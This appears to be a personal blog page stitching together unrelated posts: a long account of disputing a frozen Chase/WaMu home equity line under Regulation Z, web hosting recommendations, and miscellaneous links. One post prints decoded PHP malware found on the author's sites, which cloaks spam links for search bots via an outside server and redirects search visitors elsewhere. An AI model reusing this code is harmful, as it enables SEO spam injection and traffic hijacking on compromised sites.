Drag & Drop prototyping on the Android:
Android App Inventor has blocks for just about everything you can do with an Android phone, as well as blocks for doing “programming-like” stuff– blocks to store information, blocks for repeating actions, and blocks to perform actions under certain conditions. There are even blocks to talk to services like Twitter.
A quick review of my current financial situation: Same job, higher income, a perfect payment record, and a better FICO score (800+) than when the loan was originally approved.
From the guidelines issued by the Office Of Thrift Supervision (OTS):
TERMINATING, REDUCING, OR SUSPENDING A HELOC: LEGAL RISKS
Truth in Lending Act (TILA) / Regulation Z
[...]
With some exceptions, Regulation Z prohibits a creditor from changing any term of a HELOC account. Notably, however, a creditor may prohibit additional extensions of credit or reduce the credit limit during certain periods, as long as any reduction in a borrower’s credit limit below the outstanding balance does not require the borrower to make a higher payment. Consistent with Regulation Z, creditors may freeze or reduce a HELOC account when:
[...]
The creditor reasonably believes that the consumer will be unable to make payments as agreed because of a material change in the consumer’s financial circumstances. It is important to recognize that this exception requires both a material change in a borrower’s financial situation and the creditor’s reasonable belief that the borrower will not be able to repay the HELOC account as agreed.
So why has Chase/Wamu frozen this line of credit? Since my income is higher than when I obtained this HELOC, and my documented income is higher than that which I declared on this Stated Income / Verified Asset Loan (SI/VA) loan, it can’t be because “your income is significantly less than the income information provided when you applied for your credit line”.
Could it be that Chase/Wamu’s decision “was based on whole or in part on information obtained in a report from the consumer reporting agency [TransUnion].”? Let me take a look at my FICO score conveniently reported by the Chase/Wamu Website by TransUnion.
Wow – my credit score is excellent and unchanged – from their own website! It appears that Chase/Wamu has no actual evidence to support the Regulation Z’s requirement of a “material change in a borrower’s financial situation”.
Could it be that they just made this all up to close an under-used line of credit? Looks like I’ll also be filing a Regulation Z violation complaint with the FDIC.
I noticed this morning that my Chase/Wamu HELOC has been frozen without notification.
I contacted customer service representative "Braden" (877-750-6825) for an explanation. I was told that the line of credit is "frozen" during this review period. I asked for confirmation in writing; he said he was "unable" to provide confirmation in writing – only verbally.
I find it at best unprofessional, at worst deceptive, that this "freeze" was never mentioned during my numerous calls to customer service, nor in any of the letters requesting additional information.
Unfortunately, this will cause me to scramble to fix any problems associated with their sudden change of commitment. I will try to post additional information when I can.
One of the Comptroller of the Currency (OCC) requirements is that I first attempt to resolve the issue with the lender. Since I was not able to solve this with additional calls to customer service, I asked for the contact information of their loan compliance officer (or department). The customer service represent instructed me to send my complaint to "Consumer Lending Support" at the same address as my previous correspondence.
I also confirmed with two separate calls to 877-750-6825 ("Ryan" and "Carl") that there is no suspension on the line of credit, the paystub and 4506-T forms had been received and were "being reviewed by underwriting, and will have a response in 30 days."
I sent the following letter on May 20th via USPS Express Mail with Delivery Confirmation:
Subject: Flawed, Inappropriate, and Onerous Demand
Attention: Consumer Lending Support[...
The contents of my previous post, Flawed, Inappropriate, and Onerous Chase/Wamu 4506-T Demand?
...]Remedies that I require from Chase/Wamu Consumer Lending Support:
- Provide text with page and line number references from the original Terms and Conditions of this stated income, verified asset loan (SI/VA) that expressly permits Chase/Wamu to require new information not originally provided as part of this loan. If this documentation is required as part of "updated" information, provide evidence of the original paystub and tax documentation to be "updated".
- If Chase/Wamu cannot provide the above information, confirm in writing that both hard copy and any electronic copies of the documents have been destroyed.
- For all future requests, provide sixty (60) days notice with a thirty (30) day follow-up letter.
- Carefully review any future requests to prevent obvious errors like the ones referenced in this complaint.
- Refrain from backdating any future requests.
Please reply to this complaint in writing within fourteen 14 days of the date of this letter. Failure to respond satisfactorily within fourteen (14) days from the date of this letter will result in a filing with the Office of the Comptroller of the Currency (OCC).
I will keep you all posted regarding their response.
I received a letter from Chase/Wamu regarding a little-used Home Equity Line Of Credit (HELOC) on May 8th, requiring a 4506-T and a recent paystub by May 15th. I contacted customer service representative "Aaron" (877-750-6825) with questions.
Since I now had only 24 hours to fill out and mail the paperwork, and had not yet received the alleged legal text from "Bonnie", I sent the 4506-T and paystubs via USPS (with confirmation). I attached an additional cover sheet with the following stipulation:
Upon review of my copies of the original "Master Loan Application" and "Home Equity Line of Credit Agreement and Disclosure", this form 4506-T is being provided "to comply with governmental reporting or legal processes" as per the terms and conditions of this stated income loan. Use of this information by Washington Mutual or JPMorgan Chase Bank for purposes other than those expressly permitted under the original terms and conditions of the "Master Loan Application" and "Home Equity Line of Credit Agreement and Disclosure" will be reported to the Office of the Comptroller of the Currency (OCC) and Federal Deposit Insurance Corporation (FDIC).
I am considering filing a complaint with the Office of the Comptroller of the Currency (OCC) for what I consider to be a flawed, inappropriate, and onerous demand. One of the OCC requirements is that I first attempt to resolve the issue with the lender. If I am not able to solve this with another call to customer service, I will send their loan compliance officer (or department) my detailed requirements for resolution. I will send these via US Mail and allow them 14 days to respond in writing before filing my complaint with the OCC .
Additional links:
My pick is DownTownHost.com : FrontPage, PHP, CPanel, Unlimited Addon Domains (Multiple Domain Hosting), $5/mo @ 3 year billing.
Listed in WebHostingTalk as one of the Hosts with >5 years in the market without a negative review.
"I have been with them over a year now. The support still goes above and beyond and has that personal touch which many do not have. I mean they make you feel more like a person or a friend then a customer. its been that way every time I have contacted them. Some thing I should mention about downtown host is every problem I have had has been worked out in one way or another. … I actually talked to them this morning on live chat and they are just as friendly and have a much better live support, I mean the software is better, faster and every thing." "I ended up choosing Downtownhost. They have been EXCELLENT ME so far, you wouldn’t believe some of the stuff they did for me, they practically have went OVER THE TOP. "
http://www.downtownhost.com/shared.html
Also ran (however, more expensive, not as feature rich)
Pear Networks: FrontPage on Advanced Accounts (or higher), PHP, $30 setup, $17.95 /mo, 8% off for 1 year
**********
From WebHostingTalk: Hosts with >5 years in the market without negative reviews
http://www.downtownhost.com/
http://pair.com/
http://www.hostcaters.com/
http://futurequest.net/
http://www.handynetworks.com/
http://www.cartikahosting.com/
http://ljhost.com/
http://ez1host.com or http://www.techark.com/
http://www.clook.net/
http://httpme.com/
http://www.glowhost.com/
http://spiderweave.com/
http://www.agilehosting.com
http://glowhost.com
http://ljnetworks.com
**********
Additional Large Hosts (mixed reviews):
DreamHost, HostGator (generally good reviews, larger storage capacity), GoDaddy (generally positive but mixed reviews, iPowerWeb type complaints).
GoDaddy – FrontPage/ASP (no php), Multiple Web sites, $6.99/mo, 2 year billing available. "godaddy are huge and from what I hear from this forum, are not the best when it comes to support and overselling."
U.S. District Judge Amy St. Eve ruled that … the federal Communications Decency Act protects sites that allow users to post unedited messages and communicate freely in forums.
http://www.msnbc.msn.com/id/23672479/
We found this on a couple of sites with our (now dropped) iPowerWeb shared host. The code was typically dropped into a file located off the root directory like "/xyzzy/index.php".
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Changing "eval" to "echo" in order to see what is being executed:
$x1=$_SERVER["HTTP_HOST"]; $x3=$_SERVER["SCRIPT_NAME"]; list($path,$z)=explode("index.php",$x3); $m="$x1"."$path"; if (stristr($HTTP_USER_AGENT,"googlebot")||stristr($HTTP_USER_AGENT,"yahoo")||$bot){ ob_start("ob_gzhandler"); $url="http://74.55.31.126/pt/index.php?d=$x1&p=$path&name=$name"; $ch = curl_init(); curl_setopt ($ch, CURLOPT_URL, $url); curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt ($ch, CURLOPT_TIMEOUT, 15); curl_setopt ($ch, CURLOPT_ENCODING , "gzip"); $result=curl_exec ($ch); curl_close ($ch); echo $result; }else{ $good=0; if (stristr($_SERVER["HTTP_REFERER"],"google"))$good=1; if (stristr($_SERVER["HTTP_REFERER"],"yahoo"))$good=1; if (stristr($_SERVER["HTTP_REFERER"],"aol"))$good=1; if ($good){ header("Location: http://hola-aloha.net/in.php?s=$x1&ver=$version"); }else{ header("Location: /404"); } }
The code allowed the hacker to arbitrarily create backlinks that appeared to be hosted on our site. Quite ingenious.
Andrew Harper travels anonymously, accepts no advertising, and pays his own way, making the Hideaway Report the most credible source of information.
http://www.andrewharper.com/AH_Com2/Consider/HideawayReport.aspx
The Financial Forecast Center has been producing and publishing economic and financial market forecasts since 1997. These forecasts have been and will continue to be published exclusively on the internet.
http://www.forecasts.org/